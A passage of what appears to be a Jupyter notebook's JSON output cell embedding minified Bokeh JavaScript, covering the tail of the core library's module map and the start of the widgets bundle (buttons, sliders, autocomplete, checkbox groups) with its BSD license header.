r={},n(\\\"next\\\"),n(\\\"throw\\\"),n(\\\"return\\\"),r[Symbol.asyncIterator]=function(){return this},r;function n(n){o[n]&&(r[n]=function(i){return new Promise(function(t,e){1<s.push([n,i,t,e])||a(n,i)})})}function a(t,e){try{(i=o[t](e)).value instanceof f?Promise.resolve(i.value.v).then(l,h):u(s[0][2],i)}catch(t){u(s[0][3],t)}var i}function l(t){a(\\\"next\\\",t)}function h(t){a(\\\"throw\\\",t)}function u(t,e){t(e),s.shift(),s.length&&a(s[0][0],s[0][1])}},m=function(n){var t,r;return t={},e(\\\"next\\\"),e(\\\"throw\\\",function(t){throw t}),e(\\\"return\\\"),t[Symbol.iterator]=function(){return this},t;function e(e,i){t[e]=n[e]?function(t){return(r=!r)?{value:f(n[e](t)),done:\\\"return\\\"===e}:i?i(t):t}:i}},g=function(l){if(!Symbol.asyncIterator)throw new TypeError(\\\"Symbol.asyncIterator is not defined.\\\");var t,e=l[Symbol.asyncIterator];return e?e.call(l):(l=_(l),t={},i(\\\"next\\\"),i(\\\"throw\\\"),i(\\\"return\\\"),t[Symbol.asyncIterator]=function(){return this},t);function i(a){t[a]=l[a]&&function(s){return new Promise(function(t,e){var i,n,r,o;s=l[a](s),i=t,n=e,r=s.done,o=s.value,Promise.resolve(o).then(function(t){i({value:t,done:r})},n)})}}},y=function(t,e){return Object.defineProperty?Object.defineProperty(t,\\\"raw\\\",{value:e}):t.raw=e,t},b=function(t){if(t&&t.__esModule)return t;var e={};if(null!=t)for(var i in t)Object.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e.default=t,e},x=function(t){return t&&t.__esModule?t:{default:t}},t(\\\"__extends\\\",i),t(\\\"__assign\\\",r),t(\\\"__rest\\\",o),t(\\\"__decorate\\\",s),t(\\\"__param\\\",a),t(\\\"__metadata\\\",l),t(\\\"__awaiter\\\",h),t(\\\"__generator\\\",u),t(\\\"__exportStar\\\",c),t(\\\"__values\\\",_),t(\\\"__read\\\",p),t(\\\"__spread\\\",d),t(\\\"__await\\\",f),t(\\\"__asyncGenerator\\\",v),t(\\\"__asyncDelegator\\\",m),t(\\\"__asyncValues\\\",g),t(\\\"__makeTemplateObject\\\",y),t(\\\"__importStar\\\",b),t(\\\"__importDefault\\\",x)})}],s={base:0,\\\"client/connection\\\":1,\\\"client/session\\\":2,\\\"core/bokeh_events\\\":3,\\\"core/build_views\\\":4,\\\"core/dom\\\":5,\\\"core/dom_view\\\":6,\\\"core/enums\\\":7,\\\"core/has_props\\\":8,\\\"core/hittest\\\":9,\\\"core/layout/alignments\\\":10,\\\"core/layout/layout_canvas\\\":11,\\\"core/layout/side_panel\\\":12,\\\"core/layout/solver\\\":13,\\\"core/logging\\\":14,\\\"core/properties\\\":15,\\\"core/property_mixins\\\":16,\\\"core/selection_manager\\\":17,\\\"core/settings\\\":18,\\\"core/signaling\\\":19,\\\"core/ui_events\\\":20,\\\"core/util/array\\\":21,\\\"core/util/arrayable\\\":22,\\\"core/util/assert\\\":23,\\\"core/util/bbox\\\":24,\\\"core/util/callback\\\":25,\\\"core/util/canvas\\\":26,\\\"core/util/color\\\":27,\\\"core/util/compat\\\":28,\\\"core/util/data_structures\\\":29,\\\"core/util/eq\\\":30,\\\"core/util/math\\\":31,\\\"core/util/object\\\":32,\\\"core/util/projections\\\":33,\\\"core/util/refs\\\":34,\\\"core/util/selection\\\":35,\\\"core/util/serialization\\\":36,\\\"core/util/spatial\\\":37,\\\"core/util/string\\\":38,\\\"core/util/svg_colors\\\":39,\\\"core/util/templating\\\":40,\\\"core/util/text\\\":41,\\\"core/util/throttle\\\":42,\\\"core/util/typed_array\\\":43,\\\"core/util/types\\\":44,\\\"core/util/wheel\\\":45,\\\"core/util/zoom\\\":46,\\\"core/vectorization\\\":47,\\\"core/view\\\":48,\\\"core/visuals\\\":49,\\\"document/document\\\":50,\\\"document/events\\\":51,\\\"document/index\\\":52,\\\"embed/dom\\\":53,\\\"embed/index\\\":54,\\\"embed/notebook\\\":55,\\\"embed/server\\\":56,\\\"embed/standalone\\\":57,main:58,model:59,\\\"models/annotations/annotation\\\":60,\\\"models/annotations/arrow\\\":61,\\\"models/annotations/arrow_head\\\":62,\\\"models/annotations/band\\\":63,\\\"models/annotations/box_annotation\\\":64,\\\"models/annotations/color_bar\\\":65,\\\"models/annotations/index\\\":66,\\\"models/annotations/label\\\":67,\\\"models/annotations/label_set\\\":68,\\\"models/annotations/legend\\\":69,\\\"models/annotations/legend_item\\\":70,\\\"models/annotations/poly_annotation\\\":71,\\\"models/annotations/slope\\\":72,\\\"models/annotations/span\\\":73,\\\"models/annotations/text_annotation\\\":74,\\\"models/annotations/title\\\":75,\\\"models/annotations/toolbar_panel\\\":76,\\\"models/annotations/tooltip\\\":77,\\\"models/annotations/whisker\\\":78,\\\"models/axes/axis\\\":79,\\\"models/axes/categorical_axis\\\":80,\\\"models/axes/continuous_axis\\\":81,\\\"models/axes/datetime_axis\\\":82,\\\"models/axes/index\\\":83,\\\"models/axes/linear_axis\\\":84,\\\"models/axes/log_axis\\\":85,\\\"models/axes/mercator_axis\\\":86,\\\"models/callbacks/callback\\\":87,\\\"models/callbacks/customjs\\\":88,\\\"models/callbacks/index\\\":89,\\\"models/callbacks/open_url\\\":90,\\\"models/canvas/canvas\\\":91,\\\"models/canvas/cartesian_frame\\\":92,\\\"models/canvas/index\\\":93,\\\"models/expressions/cumsum\\\":94,\\\"models/expressions/expression\\\":95,\\\"models/expressions/index\\\":96,\\\"models/expressions/stack\\\":97,\\\"models/filters/boolean_filter\\\":98,\\\"models/filters/customjs_filter\\\":99,\\\"models/filters/filter\\\":100,\\\"models/filters/group_filter\\\":101,\\\"models/filters/index\\\":102,\\\"models/filters/index_filter\\\":103,\\\"models/formatters/basic_tick_formatter\\\":104,\\\"models/formatters/categorical_tick_formatter\\\":105,\\\"models/formatters/datetime_tick_formatter\\\":106,\\\"models/formatters/func_tick_formatter\\\":107,\\\"models/formatters/index\\\":108,\\\"models/formatters/log_tick_formatter\\\":109,\\\"models/formatters/mercator_tick_formatter\\\":110,\\\"models/formatters/numeral_tick_formatter\\\":111,\\\"models/formatters/printf_tick_formatter\\\":112,\\\"models/formatters/tick_formatter\\\":113,\\\"models/glyphs/annular_wedge\\\":114,\\\"models/glyphs/annulus\\\":115,\\\"models/glyphs/arc\\\":116,\\\"models/glyphs/bezier\\\":117,\\\"models/glyphs/box\\\":118,\\\"models/glyphs/center_rotatable\\\":119,\\\"models/glyphs/circle\\\":120,\\\"models/glyphs/ellipse\\\":121,\\\"models/glyphs/ellipse_oval\\\":122,\\\"models/glyphs/glyph\\\":123,\\\"models/glyphs/hbar\\\":124,\\\"models/glyphs/hex_tile\\\":125,\\\"models/glyphs/image\\\":126,\\\"models/glyphs/image_rgba\\\":127,\\\"models/glyphs/image_url\\\":128,\\\"models/glyphs/index\\\":129,\\\"models/glyphs/line\\\":130,\\\"models/glyphs/multi_line\\\":131,\\\"models/glyphs/multi_polygons\\\":132,\\\"models/glyphs/oval\\\":133,\\\"models/glyphs/patch\\\":134,\\\"models/glyphs/patches\\\":135,\\\"models/glyphs/quad\\\":136,\\\"models/glyphs/quadratic\\\":137,\\\"models/glyphs/ray\\\":138,\\\"models/glyphs/rect\\\":139,\\\"models/glyphs/segment\\\":140,\\\"models/glyphs/step\\\":141,\\\"models/glyphs/text\\\":142,\\\"models/glyphs/utils\\\":143,\\\"models/glyphs/vbar\\\":144,\\\"models/glyphs/wedge\\\":145,\\\"models/glyphs/xy_glyph\\\":146,\\\"models/graphs/graph_hit_test_policy\\\":147,\\\"models/graphs/index\\\":148,\\\"models/graphs/layout_provider\\\":149,\\\"models/graphs/static_layout_provider\\\":150,\\\"models/grids/grid\\\":151,\\\"models/grids/index\\\":152,\\\"models/index\\\":153,\\\"models/layouts/box\\\":154,\\\"models/layouts/column\\\":155,\\\"models/layouts/index\\\":156,\\\"models/layouts/layout_dom\\\":157,\\\"models/layouts/row\\\":158,\\\"models/layouts/spacer\\\":159,\\\"models/layouts/widget_box\\\":160,\\\"models/mappers/categorical_color_mapper\\\":161,\\\"models/mappers/categorical_mapper\\\":162,\\\"models/mappers/categorical_marker_mapper\\\":163,\\\"models/mappers/color_mapper\\\":164,\\\"models/mappers/continuous_color_mapper\\\":165,\\\"models/mappers/index\\\":166,\\\"models/mappers/linear_color_mapper\\\":167,\\\"models/mappers/log_color_mapper\\\":168,\\\"models/mappers/mapper\\\":169,\\\"models/markers/defs\\\":170,\\\"models/markers/index\\\":171,\\\"models/markers/marker\\\":172,\\\"models/markers/scatter\\\":173,\\\"models/plots/gmap_plot\\\":174,\\\"models/plots/gmap_plot_canvas\\\":175,\\\"models/plots/index\\\":176,\\\"models/plots/plot\\\":177,\\\"models/plots/plot_canvas\\\":178,\\\"models/ranges/data_range\\\":179,\\\"models/ranges/data_range1d\\\":180,\\\"models/ranges/factor_range\\\":181,\\\"models/ranges/index\\\":182,\\\"models/ranges/range\\\":183,\\\"models/ranges/range1d\\\":184,\\\"models/renderers/glyph_renderer\\\":185,\\\"models/renderers/graph_renderer\\\":186,\\\"models/renderers/guide_renderer\\\":187,\\\"models/renderers/index\\\":188,\\\"models/renderers/renderer\\\":189,\\\"models/scales/categorical_scale\\\":190,\\\"models/scales/index\\\":191,\\\"models/scales/linear_scale\\\":192,\\\"models/scales/log_scale\\\":193,\\\"models/scales/scale\\\":194,\\\"models/selections/index\\\":195,\\\"models/selections/interaction_policy\\\":196,\\\"models/selections/selection\\\":197,\\\"models/sources/ajax_data_source\\\":198,\\\"models/sources/cds_view\\\":199,\\\"models/sources/column_data_source\\\":200,\\\"models/sources/columnar_data_source\\\":201,\\\"models/sources/data_source\\\":202,\\\"models/sources/geojson_data_source\\\":203,\\\"models/sources/index\\\":204,\\\"models/sources/remote_data_source\\\":205,\\\"models/tickers/adaptive_ticker\\\":206,\\\"models/tickers/basic_ticker\\\":207,\\\"models/tickers/categorical_ticker\\\":208,\\\"models/tickers/composite_ticker\\\":209,\\\"models/tickers/continuous_ticker\\\":210,\\\"models/tickers/datetime_ticker\\\":211,\\\"models/tickers/days_ticker\\\":212,\\\"models/tickers/fixed_ticker\\\":213,\\\"models/tickers/index\\\":214,\\\"models/tickers/log_ticker\\\":215,\\\"models/tickers/mercator_ticker\\\":216,\\\"models/tickers/months_ticker\\\":217,\\\"models/tickers/single_interval_ticker\\\":218,\\\"models/tickers/ticker\\\":219,\\\"models/tickers/util\\\":220,\\\"models/tickers/years_ticker\\\":221,\\\"models/tiles/bbox_tile_source\\\":222,\\\"models/tiles/image_pool\\\":223,\\\"models/tiles/index\\\":224,\\\"models/tiles/mercator_tile_source\\\":225,\\\"models/tiles/quadkey_tile_source\\\":226,\\\"models/tiles/tile_renderer\\\":227,\\\"models/tiles/tile_source\\\":228,\\\"models/tiles/tile_utils\\\":229,\\\"models/tiles/tms_tile_source\\\":230,\\\"models/tiles/wmts_tile_source\\\":231,\\\"models/tools/actions/action_tool\\\":232,\\\"models/tools/actions/custom_action\\\":233,\\\"models/tools/actions/help_tool\\\":234,\\\"models/tools/actions/redo_tool\\\":235,\\\"models/tools/actions/reset_tool\\\":236,\\\"models/tools/actions/save_tool\\\":237,\\\"models/tools/actions/undo_tool\\\":238,\\\"models/tools/actions/zoom_in_tool\\\":239,\\\"models/tools/actions/zoom_out_tool\\\":240,\\\"models/tools/button_tool\\\":241,\\\"models/tools/edit/box_edit_tool\\\":242,\\\"models/tools/edit/edit_tool\\\":243,\\\"models/tools/edit/freehand_draw_tool\\\":244,\\\"models/tools/edit/point_draw_tool\\\":245,\\\"models/tools/edit/poly_draw_tool\\\":246,\\\"models/tools/edit/poly_edit_tool\\\":247,\\\"models/tools/edit/poly_tool\\\":248,\\\"models/tools/gestures/box_select_tool\\\":249,\\\"models/tools/gestures/box_zoom_tool\\\":250,\\\"models/tools/gestures/gesture_tool\\\":251,\\\"models/tools/gestures/lasso_select_tool\\\":252,\\\"models/tools/gestures/pan_tool\\\":253,\\\"models/tools/gestures/poly_select_tool\\\":254,\\\"models/tools/gestures/range_tool\\\":255,\\\"models/tools/gestures/select_tool\\\":256,\\\"models/tools/gestures/tap_tool\\\":257,\\\"models/tools/gestures/wheel_pan_tool\\\":258,\\\"models/tools/gestures/wheel_zoom_tool\\\":259,\\\"models/tools/index\\\":260,\\\"models/tools/inspectors/crosshair_tool\\\":261,\\\"models/tools/inspectors/customjs_hover\\\":262,\\\"models/tools/inspectors/hover_tool\\\":263,\\\"models/tools/inspectors/inspect_tool\\\":264,\\\"models/tools/on_off_button\\\":265,\\\"models/tools/tool\\\":266,\\\"models/tools/tool_proxy\\\":267,\\\"models/tools/toolbar\\\":268,\\\"models/tools/toolbar_base\\\":269,\\\"models/tools/toolbar_box\\\":270,\\\"models/tools/util\\\":271,\\\"models/transforms/customjs_transform\\\":272,\\\"models/transforms/dodge\\\":273,\\\"models/transforms/index\\\":274,\\\"models/transforms/interpolator\\\":275,\\\"models/transforms/jitter\\\":276,\\\"models/transforms/linear_interpolator\\\":277,\\\"models/transforms/step_interpolator\\\":278,\\\"models/transforms/transform\\\":279,polyfill:280,\\\"protocol/index\\\":281,\\\"protocol/message\\\":282,\\\"protocol/receiver\\\":283,safely:284,testing:285,version:286},r={},(l=(a=function(t){var e=null!=s[t]?s[t]:t;if(!r[e]){if(!o[e]){var i=new Error(\\\"Cannot find module '\\\"+t+\\\"'\\\");throw i.code=\\\"MODULE_NOT_FOUND\\\",i}var n=r[e]={exports:{}};o[e].call(n.exports,a,n,n.exports)}return r[e].exports})(58)).require=a,l.register_plugin=function(t,e,i){for(var n in t)o[n]=t[n];for(var n in e)s[n]=e[n];var r=a(i);for(var n in r)l[n]=r[n];return r},l)}(this);\\n\",\n       \"      //# sourceMappingURL=bokeh.min.js.map\\n\",\n       \"      /* END bokeh.min.js */\\n\",\n       \"    },\\n\",\n       \"    \\n\",\n       \"    function(Bokeh) {\\n\",\n       \"      /* BEGIN bokeh-widgets.min.js */\\n\",\n       \"      /*!\\n\",\n       \"       * Copyright (c) 2012 - 2018, Anaconda, Inc., and Bokeh Contributors\\n\",\n       \"       * All rights reserved.\\n\",\n       \"       * \\n\",\n       \"       * Redistribution and use in source and binary forms, with or without modification,\\n\",\n       \"       * are permitted provided that the following conditions are met:\\n\",\n       \"       * \\n\",\n       \"       * Redistributions of source code must retain the above copyright notice,\\n\",\n       \"       * this list of conditions and the following disclaimer.\\n\",\n       \"       * \\n\",\n       \"       * Redistributions in binary form must reproduce the above copyright notice,\\n\",\n       \"       * this list of conditions and the following disclaimer in the documentation\\n\",\n       \"       * and/or other materials provided with the distribution.\\n\",\n       \"       * \\n\",\n       \"       * Neither the name of Anaconda nor the names of any contributors\\n\",\n       \"       * may be used to endorse or promote products derived from this software\\n\",\n       \"       * without specific prior written permission.\\n\",\n       \"       * \\n\",\n       \"       * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \\\"AS IS\\\"\\n\",\n       \"       * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\\n\",\n       \"       * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\\n\",\n       \"       * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\\n\",\n       \"       * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\\n\",\n       \"       * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\\n\",\n       \"       * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\\n\",\n       \"       * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\\n\",\n       \"       * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\\n\",\n       \"       * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\\n\",\n       \"       * THE POSSIBILITY OF SUCH DAMAGE.\\n\",\n       \"       */\\n\",\n       \"      !function(t,e){var i;i=t.Bokeh,function(t,e,n){if(null!=i)return i.register_plugin(t,{\\\"core/menus\\\":400,\\\"models/widgets/abstract_button\\\":401,\\\"models/widgets/abstract_icon\\\":402,\\\"models/widgets/abstract_slider\\\":403,\\\"models/widgets/autocomplete_input\\\":404,\\\"models/widgets/button\\\":405,\\\"models/widgets/checkbox_button_group\\\":406,\\\"models/widgets/checkbox_group\\\":407,\\\"models/widgets/date_picker\\\":408,\\\"models/widgets/date_range_slider\\\":409,\\\"models/widgets/date_slider\\\":410,\\\"models/widgets/div\\\":411,\\\"models/widgets/dropdown\\\":412,\\\"models/widgets/index\\\":413,\\\"models/widgets/input_widget\\\":414,\\\"models/widgets/main\\\":415,\\\"models/widgets/markup\\\":416,\\\"models/widgets/multiselect\\\":417,\\\"models/widgets/panel\\\":418,\\\"models/widgets/paragraph\\\":419,\\\"models/widgets/password_input\\\":420,\\\"models/widgets/pretext\\\":421,\\\"models/widgets/radio_button_group\\\":422,\\\"models/widgets/radio_group\\\":423,\\\"models/widgets/range_slider\\\":424,\\\"models/widgets/selectbox\\\":425,\\\"models/widgets/slider\\\":426,\\\"models/widgets/tabs\\\":427,\\\"models/widgets/text_input\\\":428,\\\"models/widgets/toggle\\\":429,\\\"models/widgets/widget\\\":440},415);throw new Error(\\\"Cannot find Bokeh. You have to load it prior to loading plugins.\\\")}({400:function(t,e,n){var i=t(19);n.clear_menus=new i.Signal0({},\\\"clear_menus\\\"),document.addEventListener(\\\"click\\\",function(){return n.clear_menus.emit()})},401:function(t,e,n){var i=t(391),r=t(15),o=t(5),s=t(4),a=t(440),l=function(n){function t(){return null!==n&&n.apply(this,arguments)||this}return i.__extends(t,n),t.prototype.initialize=function(t){n.prototype.initialize.call(this,t),this.icon_views={},this.render()},t.prototype.connect_signals=function(){var t=this;n.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.remove=function(){s.remove_views(this.icon_views),n.prototype.remove.call(this)},t.prototype._render_button=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return o.button.apply(void 0,[{type:\\\"button\\\",disabled:this.model.disabled,class:[\\\"bk-bs-btn\\\",\\\"bk-bs-btn-\\\"+this.model.button_type]}].concat(t))},t.prototype.render=function(){var e=this;n.prototype.render.call(this),o.empty(this.el),this.buttonEl=this._render_button(this.model.label),this.buttonEl.addEventListener(\\\"click\\\",function(t){return e._button_click(t)}),this.el.appendChild(this.buttonEl);var t=this.model.icon;null!=t&&(s.build_views(this.icon_views,[t],{parent:this}),o.prepend(this.buttonEl,this.icon_views[t.id].el,o.nbsp))},t.prototype._button_click=function(t){t.preventDefault(),this.change_input()},t.prototype.change_input=function(){null!=this.model.callback&&this.model.callback.execute(this.model)},t}(a.WidgetView);n.AbstractButtonView=l;var u=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"AbstractButton\\\",this.define({label:[r.String,\\\"Button\\\"],icon:[r.Instance],button_type:[r.String,\\\"default\\\"],callback:[r.Instance]})},t}(a.Widget);(n.AbstractButton=u).initClass()},402:function(t,e,n){var i=t(391),r=t(440),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e}(r.WidgetView);n.AbstractIconView=o;var s=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"AbstractIcon\\\"},t}(r.Widget);(n.AbstractIcon=s).initClass()},403:function(t,e,n){var i=t(391),f=t(431),r=t(15),m=t(5),v=t(14),g=t(21),y=t(25),o=t(440),s=function(p){function t(){return null!==p&&p.apply(this,arguments)||this}return i.__extends(t,p),t.prototype.initialize=function(t){p.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;p.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.render=function(){var r=this;if(null==this.sliderEl&&p.prototype.render.call(this),null!=this.model.callback){var t=function(){return r.model.callback.execute(r.model)};switch(this.model.callback_policy){case\\\"continuous\\\":this.callback_wrapper=t;break;case\\\"throttle\\\":this.callback_wrapper=y.throttle(t,this.model.callback_throttle)}}var e,o=\\\"bk-noUi-\\\",n=this._calc_to(),i=n.start,s=n.end,a=n.value,l=n.step;if(this.model.tooltips){var u={to:function(t){return r.model.pretty(t)}};e=g.repeat(u,a.length)}else e=!1;if(this.el.classList.add(\\\"bk-slider\\\"),null==this.sliderEl){this.sliderEl=m.div(),this.el.appendChild(this.sliderEl),f.create(this.sliderEl,{cssPrefix:o,range:{min:i,max:s},start:a,step:l,behaviour:this.model.behaviour,connect:this.model.connected,tooltips:e,orientation:this.model.orientation,direction:this.model.direction}),this.sliderEl.noUiSlider.on(\\\"slide\\\",function(t,e,n){return r._slide(n)}),this.sliderEl.noUiSlider.on(\\\"change\\\",function(t,e,n){return r._change(n)});var c=this.sliderEl.querySelector(\\\".\\\"+o+\\\"handle\\\");c.setAttribute(\\\"tabindex\\\",\\\"0\\\"),c.addEventListener(\\\"keydown\\\",function(t){var e=r._calc_to().value[0];switch(t.which){case 37:e=Math.max(e-l,i);break;case 39:e=Math.min(e+l,s);break;default:return}var n=r.model.pretty(e);v.logger.debug(\\\"[slider keypress] value = \\\"+n),r.model.value=e,r.sliderEl.noUiSlider.set(e),null!=r.valueEl&&(r.valueEl.textContent=n),null!=r.callback_wrapper&&r.callback_wrapper()});var d=function(t,e){var n=r.sliderEl.querySelectorAll(\\\".\\\"+o+\\\"handle\\\")[t],i=n.querySelector(\\\".\\\"+o+\\\"tooltip\\\");i.style.display=e?\\\"block\\\":\\\"\\\"};this.sliderEl.noUiSlider.on(\\\"start\\\",function(t,e){return d(e,!0)}),this.sliderEl.noUiSlider.on(\\\"end\\\",function(t,e){return d(e,!1)})}else this.sliderEl.noUiSlider.updateOptions({range:{min:i,max:s},start:a,step:l});if(null!=this.titleEl&&this.el.removeChild(this.titleEl),null!=this.valueEl&&this.el.removeChild(this.valueEl),null!=this.model.title&&(0!=this.model.title.length&&(this.titleEl=m.label({},this.model.title+\\\":\\\"),this.el.insertBefore(this.titleEl,this.sliderEl)),this.model.show_value)){var h=a.map(function(t){return r.model.pretty(t)}).join(\\\" .. \\\");this.valueEl=m.div({class:\\\"bk-slider-value\\\"},h),this.el.insertBefore(this.valueEl,this.sliderEl)}this.model.disabled||(this.sliderEl.querySelector(\\\".\\\"+o+\\\"connect\\\").style.backgroundColor=this.model.bar_color),this.model.disabled?this.sliderEl.setAttribute(\\\"disabled\\\",\\\"true\\\"):this.sliderEl.removeAttribute(\\\"disabled\\\")},t.prototype._slide=function(t){var e=this,n=this._calc_from(t),i=t.map(function(t){return e.model.pretty(t)}).join(\\\" .. \\\");v.logger.debug(\\\"[slider slide] value = \\\"+i),null!=this.valueEl&&(this.valueEl.textContent=i),this.model.value=n,null!=this.callback_wrapper&&this.callback_wrapper()},t.prototype._change=function(t){var e=this,n=this._calc_from(t),i=t.map(function(t){return e.model.pretty(t)}).join(\\\" .. \\\");switch(v.logger.debug(\\\"[slider change] value = \\\"+i),null!=this.valueEl&&(this.valueEl.dataset.value=i),this.model.value=n,this.model.callback_policy){case\\\"mouseup\\\":case\\\"throttle\\\":null!=this.model.callback&&this.model.callback.execute(this.model)}},t}(o.WidgetView);n.AbstractSliderView=s;var a=function(n){function t(t){var e=n.call(this,t)||this;return e.connected=!1,e}return i.__extends(t,n),t.initClass=function(){this.prototype.type=\\\"AbstractSlider\\\",this.define({title:[r.String,\\\"\\\"],show_value:[r.Bool,!0],start:[r.Any],end:[r.Any],value:[r.Any],step:[r.Number,1],format:[r.String],orientation:[r.Orientation,\\\"horizontal\\\"],direction:[r.Any,\\\"ltr\\\"],tooltips:[r.Boolean,!0],callback:[r.Instance],callback_throttle:[r.Number,200],callback_policy:[r.String,\\\"throttle\\\"],bar_color:[r.Color,\\\"#e6e6e6\\\"]})},t.prototype._formatter=function(t,e){return\\\"\\\"+t},t.prototype.pretty=function(t){return this._formatter(t,this.format)},t}(o.Widget);(n.AbstractSlider=a).initClass()},404:function(t,e,n){var i=t(391),r=t(428),s=t(5),o=t(400),a=t(15),l=function(n){function t(){return null!==n&&n.apply(this,arguments)||this}return i.__extends(t,n),t.prototype.connect_signals=function(){var t=this;n.prototype.connect_signals.call(this),o.clear_menus.connect(function(){return t._clear_menu()})},t.prototype.render=function(){var e=this;n.prototype.render.call(this),this.inputEl.classList.add(\\\"bk-autocomplete-input\\\"),this.inputEl.addEventListener(\\\"keydown\\\",function(t){return e._keydown(t)}),this.inputEl.addEventListener(\\\"keyup\\\",function(t){return e._keyup(t)}),this.menuEl=s.ul({class:\\\"bk-bs-dropdown-menu\\\"}),this.menuEl.addEventListener(\\\"click\\\",function(t){return e._item_click(t)}),this.el.appendChild(this.menuEl)},t.prototype._render_items=function(t){s.empty(this.menuEl);for(var e=0,n=t;e<n.length;e++){var i=n[e],r=s.li({},s.a({data:{text:i}},i));this.menuEl.appendChild(r)}},t.prototype._open_menu=function(){this.el.classList.add(\\\"bk-bs-open\\\")},t.prototype._clear_menu=function(){this.el.classList.remove(\\\"bk-bs-open\\\")},t.prototype._item_click=function(t){if(t.preventDefault(),t.target!=t.currentTarget){var e=t.target,n=e.dataset.text;this.model.value=n}},t.prototype._keydown=function(t){},t.prototype._keyup=function(t){switch(t.keyCode){case s.Keys.Enter:console.log(\\\"enter\\\");break;case s.Keys.Esc:this._clear_menu();break;case s.Keys.Up:case s.Keys.Down:console.log(\\\"up/down\\\");break;default:var e=this.inputEl.value;if(e.length<=1)return void this._clear_menu();for(var n=[],i=0,r=this.model.completions;i<r.length;i++){var o=r[i];-1!=o.indexOf(e)&&n.push(o)}0==n.length?this._clear_menu():(this._render_items(n),this._open_menu())}},t}(r.TextInputView);n.AutocompleteInputView=l;var u=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"AutocompleteInput\\\",this.prototype.default_view=l,this.define({completions:[a.Array,[]]}),this.internal({active:[a.Boolean,!0]})},t}(r.TextInput);(n.AutocompleteInput=u).initClass()},405:function(t,e,n){var i=t(391),r=t(15),o=t(3),s=t(401),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.change_input=function(){this.model.trigger_event(new o.ButtonClick({})),this.model.clicks=this.model.clicks+1,t.prototype.change_input.call(this)},e}(s.AbstractButtonView);n.ButtonView=a;var l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Button\\\",this.prototype.default_view=a,this.define({clicks:[r.Number,0]}),o.register_with_event(o.ButtonClick,this)},t}(s.AbstractButton);(n.Button=l).initClass()},406:function(t,e,n){var i=t(391),l=t(5),r=t(15),u=t(21),o=t(440),s=function(n){function t(){return null!==n&&n.apply(this,arguments)||this}return i.__extends(t,n),t.prototype.initialize=function(t){n.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;n.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.render=function(){var i=this;n.prototype.render.call(this),l.empty(this.el);var r=l.div({class:\\\"bk-bs-btn-group\\\"});this.el.appendChild(r);for(var o=this.model.active,s=this.model.labels,t=function(t){var e=l.input({type:\\\"checkbox\\\",value:\\\"\\\"+t,checked:t in o});e.addEventListener(\\\"change\\\",function(){return i.model.change_input(t)});var n=l.label({class:[\\\"bk-bs-btn\\\",\\\"bk-bs-btn-\\\"+a.model.button_type]},e,s[t]);u.includes(o,t)&&n.classList.add(\\\"bk-bs-active\\\"),r.appendChild(n)},a=this,e=0;e<s.length;e++)t(e)},t}(o.WidgetView);n.CheckboxButtonGroupView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.prototype.change_input=function(e){var t=u.copy(this.active);u.includes(t,e)?u.removeBy(t,function(t){return e==t}):t.push(e),t.sort(),this.active=t,null!=this.callback&&this.callback.execute(this)},t.initClass=function(){this.prototype.type=\\\"CheckboxButtonGroup\\\",this.prototype.default_view=s,this.define({active:[r.Array,[]],labels:[r.Array,[]],button_type:[r.String,\\\"default\\\"],callback:[r.Instance]})},t}(o.Widget);(n.CheckboxButtonGroup=a).initClass()},407:function(t,e,n){var i=t(391),u=t(5),r=t(15),c=t(21),o=t(440),s=function(l){function t(){return null!==l&&l.apply(this,arguments)||this}return i.__extends(t,l),t.prototype.initialize=function(t){l.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;l.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.render=function(){var t=this;l.prototype.render.call(this),u.empty(this.el);for(var e=this.model.active,n=this.model.labels,i=0;i<n.length;i++){var r=n[i],o=u.input({type:\\\"checkbox\\\",value:\\\"\\\"+i});o.addEventListener(\\\"change\\\",function(){return t.change_input()}),this.model.disabled&&(o.disabled=!0),c.includes(e,i)&&(o.checked=!0);var s=u.label({},o,r);if(this.model.inline)s.classList.add(\\\"bk-bs-checkbox-inline\\\"),this.el.appendChild(s);else{var a=u.div({class:\\\"bk-bs-checkbox\\\"},s);this.el.appendChild(a)}}},t.prototype.change_input=function(){for(var t=this.el.querySelectorAll(\\\"input\\\"),e=[],n=0;n<t.length;n++){var i=t[n];i.checked&&e.push(n)}this.model.active=e,null!=this.model.callback&&this.model.callback.execute(this.model)},t}(o.WidgetView);n.CheckboxGroupView=s;var a=function(e){function t(t){return e.call(this,t)||this}return 